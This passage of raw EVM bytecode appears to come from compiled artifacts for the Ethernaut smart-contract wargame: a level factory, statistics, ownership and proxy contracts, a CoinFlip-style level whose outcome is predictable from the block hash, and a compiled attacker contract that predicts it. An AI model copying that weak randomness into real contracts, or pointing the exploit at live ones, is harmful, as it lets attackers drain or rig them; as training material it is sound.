c70565b50601f01601f191660200190565b5f6020828403121562001d1f575f80fd5b813567ffffffffffffffff81111562001d36575f80fd5b8201601f8101841362001d47575f80fd5b803562001d5e62001d588262001ce4565b62001cb0565b81815285602083850101111562001d73575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001dac57818101518382015260200162001d92565b50505f910152565b5f815180845262001dcd81602086016020860162001d90565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001e9557603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001e7e57605f1988850301835262001e6b84865162001db4565b948d01949350918c019160010162001e4c565b505050968901969350509087019060010162001e06565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001f6357888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001f4d5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001f09565b5096890196945050509086019060010162001ecb565b509098975050505050505050565b5f6020828403121562001f82575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001fe257603f1988860301845262001fcf85835162001db4565b9450928501929085019060010162001fb0565b5092979650505050505050565b5f6020828403121562002000575f80fd5b813562001aab8162001bca565b5f80604083850312156200201f575f80fd5b82356200202c8162001bca565b915060208301356200203e8162001bca565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562002079576200207962001c70565b5060051b60200190565b5f6200209362001d588462001ce4565b9050828152838383011115620020a7575f80fd5b62001aab83602083018462001d90565b5f82601f830112620020c7575f80fd5b62001aab8383516020850162002083565b8051620020e58162001bca565b919050565b5f6020808385031215620020fc575f80fd5b825167ffffffffffffffff8082111562002114575f80fd5b818501915085601f83011262002128575f80fd5b81516200213962001d58826200205d565b81815260059190911b8301840190848101908883111562002158575f80fd5b8585015b83811015620022595780518581111562002174575f80fd5b86016060818c03601f190112156200218a575f80fd5b6200219462001c84565b8882015187811115620021a5575f80fd5b8201603f81018d13620021b6575f80fd5b89810151620021c962001d58826200205d565b81815260059190911b8201604001908b8101908f831115620021e9575f80fd5b6040840193505b828410156200220b5783518252928c0192908c0190620021f0565b845250505060408201518781111562002222575f80fd5b620022328d8b83860101620020b7565b8a830152506200224560608301620020d8565b60408201528452509186019186016200215c565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620016db57620016db62002266565b5f60208284031215620022a1575f80fd5b815167ffffffffffffffff811115620022b8575f80fd5b8201601f81018413620022c9575f80fd5b620022da8482516020840162002083565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200231b81600585016020880162001d90565b7f2e736f6c2f00000000000000000000000000000000000000000000000000000060059184019182015283516200235a81600a84016020880162001d90565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f8351620023a381846020880162001d90565b835190830190620023b981836020880162001d90565b01949350505050565b602081525f62001aab602083018462001db4565b600181811c90821680620023eb57607f821691505b6020821081036200240a57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562002421575f80fd5b815162001aab8162001bca565b80820180821115620016db57620016db62002266565b5f6020828403121562002455575f80fd5b8151801515811462001aab575f80fd5b5f6020828403121562002476575f80fd5b5051919050565b604081525f62002491604083018562001db4565b8281036020840152620024a5818562001db4565b95945050505050565b5f60208284031215620024bf575f80fd5b815167ffffffffffffffff811115620024d6575f80fd5b620022da84828501620020b756fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6105b68061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610333565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610355565b61014c565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610333565b6101bd565b610114610252565b61011d5f6102ab565b565b5f60405161012c90610312565b604051809103905ff080158015610145573d5f803e3d5ffd5b5092915050565b5f80839050600a816001600160a01b031663e6f334d76040518163ffffffff1660e01b8152600401602060405180830381865afa15801561018f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101b3919061038c565b1015949350505050565b6101c5610252565b6001600160a01b0381166102465760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61024f816102ab565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161023d565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6101dd806103a483390190565b6001600160a01b038116811461024f575f80fd5b5f60208284031215610343575f80fd5b813561034e8161031f565b9392505050565b5f8060408385031215610366575f80fd5b82356103718161031f565b915060208301356103818161031f565b809150509250929050565b5f6020828403121561039c575f80fd5b505191905056fe6080604052600160ff1b600255348015610017575f80fd5b505f80556101b5806100285f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80631d263f6714610038578063e6f334d714610060575b5f80fd5b61004b6100463660046100f5565b610076565b60405190151581526020015b60405180910390f35b6100685f5481565b604051908152602001610057565b5f8061008360014361012f565b405f1c90508060015403610095575f80fd5b60018190556002545f906100a99083610148565b90505f816001146100ba575f6100bd565b60015b9050841515811515036100e8575f805490806100d883610167565b9091555060019695505050505050565b50505f8080559392505050565b5f60208284031215610105575f80fd5b81358015158114610114575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156101425761014261011b565b92915050565b5f8261016257634e487b7160e01b5f52601260045260245ffd5b500490565b5f600182016101785761017861011b565b506001019056fea2646970667358221220340baa842e0c9604da3f1bb0118d26fbf456e41472b3ecebd152e10eda819c4264736f6c63430008180033a2646970667358221220ac574ef832d796d475aba5bda1a01612ee088a68feec01b460c71eb2bf8d6b2064736f6c634300081800336080604052600160ff1b5f55348015610016575f80fd5b506101f7806100245f395ff3fe608060405234801561000f575f80fd5b5060043610610029575f3560e01c8063d018db3e1461002d575b5f80fd5b61004061003b366004610124565b610054565b604051901515815260200160405180910390f35b5f818161006260014361015e565b5f805491409250906100749083610183565b90505f81600114610085575f610088565b60015b6040517f1d263f67000000000000000000000000000000000000000000000000000000008152811515600482015290915073ffffffffffffffffffffffffffffffffffffffff851690631d263f67906024016020604051808303815f875af11580156100f6573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061011a91906101a2565b5095945050505050565b5f60208284031215610134575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff81168114610157575f80fd5b9392505050565b8181038181111561017d57634e487b7160e01b5f52601160045260245ffd5b92915050565b5f8261019d57634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156101b2575f80fd5b81518015158114610157575f80fdfea2646970667358221220142b6854e5ced4943f2a79e7a9da4a0fac626e6055796d878db192d15608df4264736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b6102